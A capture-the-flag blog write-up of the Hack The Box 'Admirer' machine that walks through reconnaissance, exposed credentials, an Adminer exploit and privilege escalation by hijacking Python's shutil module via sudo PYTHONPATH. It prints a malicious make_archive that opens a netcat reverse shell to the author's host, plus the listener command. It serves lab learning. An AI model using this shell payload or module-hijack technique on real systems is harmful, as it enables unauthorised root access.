Posts HTB Admirer
Post
Cancel

HTB Admirer

Introduction

HTB Admirer is a linux-based box.

Authors: polarbearer & GibParadox

Machine IP: 10.10.10.187

Reconnaissance

nmap

As usual with HTB, the first thing to do is to use nmap to scan the box. The IP of the box is 10.10.10.191, as you can see in the command I used:

nmap -sC -sV -o nmap.nmap 10.10.10.187

Here is the output of the scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ali@kali:~/Desktop/htb/admirer$ nmap -sC -sV -o nmap.nmap 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-21 22:24 EDT
Nmap scan report for 10.10.10.187
Host is up (0.068s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds

FTP, SSH, and a web server.

Let’s check out the web server… I noticed nothing on the page initially so I checked common things. Nothing in the source code, but there is something in robots.txt.

1
2
3
4
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

Looks like it’s pretty clear what to do, we should use gobuster on this directory.

Here’s the output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.187/admin-dir/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt
[+] Timeout:        10s
===============================================================
2020/09/21 22:46:30 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
===============================================================
2020/09/21 22:51:13 Finished
===============================================================

Epic, contacts.txt and credentials.txt match up with the message we saw earlier. Let’s check those out:

contacts.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

credentials.txt

1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Remembering the nmap scan, the FTP port is open so let’s check that out. We end up getting two files, and one of them is a previous archive of the website.

Of these files, we learn of the utility-scripts directory. Some of these scripts have credentials in them but unfortunately none of those pages/scripts still exist on the web server. Let’s fuzz this directory for more php files.

1
wfuzz -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.187/utility-scripts/FUZZ.php --sc 200
1
2
3
4
5
6
7
8
9
10
11
12
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.187/utility-scripts/FUZZ.php
Total requests: 20469

===================================================================
ID           Response   Lines    Word     Chars       Payload                                              
===================================================================

000001873:   200        51 L     235 W    4156 Ch     "adminer"  

Looks like we found something new! We go to the webpage and we are greeted by a login page.

We get the name and the version of this as well: Adminer 4.6.2

After exploiting this version of Adminir with a handly python script, I’m able to dump SSH credentials. Using these, I can log in as user waldo with the password &<h5b~yK3F#{PaPB&dA}{H> and get the user flag!

Priv Escalation

Now that i have logged in as waldo, we do the classic sudo -l to see what we have permission to access as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
waldo@admirer:/tmp/notouchme$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:/tmp/notouchme$ cd /home/waldo
waldo@admirer:~$ sudo -l
[sudo] password for waldo: 

Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

Let’s check out admin_tasks.sh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

One part of this, backup_web(), looks exploitable. Let’s look at it closely.

1
2
3
4
5
6
7
8
9
10
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

It appears to be calling a python script. Let’s check out the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
waldo@admirer:~$ cat /opt/scripts/backup.py
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

It imports the module shutil and calls make_archive from it.

In Python, modules have “scope” similar to variables. So, we can decalre another “shutil” and “make_archive” function by changing the path the script appears to be run from.

Let’s start doing this by going to the /tmp/ directories where we have permission to write files. Let’s make a sample ‘‘shutil.py’’ with a ‘‘make_archive’’ function that will be called.

1
2
3
4
waldo@admirer:/tmp/notouchme$ cat shutil.py
import os
def make_archive(a, b, c):
        os.system('nc 10.10.15.76 9001 -e "/bin/sh"')

When we call the shell script and it executes the python script, it will now call our version of make_archive which will interact with the netcat listener I set up on my own machine.

For reference, the command I used on my local machine is nc -lnvp 9001.

Cool, now all that is needed is to trick the python script into running in the directory where we wrote to it. You can see that being done in this command:

1
sudo PYTHONPATH=/tmp/notouchme/ /opt/scripts/admin_tasks.sh

After running this, I check the lister I had opened before:

1
2
3
4
5
6
7
8
9
10
11
12
13
kali@kali:~$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.15.76] from (UNKNOWN) [10.10.10.187] 58748
whoami
root
ls
bruh.py
shutil.py
cd /root/
ls
root.txt
cat root.txt
<omit>

AND THE BOX IS SOLVED!!! poggers.

Conclusion

The priv escalation part was made easy because other people had already solved the problem and left behind way too much of a trail to ignore. Because of this, it was very easy to reverse what they had done and figure out what was needed to exploit the box. This is a really poor way of doing things and I will refrain from it in the future. For now, I’m just excited to have another solve, even if I only did like 70% of the exploitation, under my belt.

This post is licensed under CC BY 4.0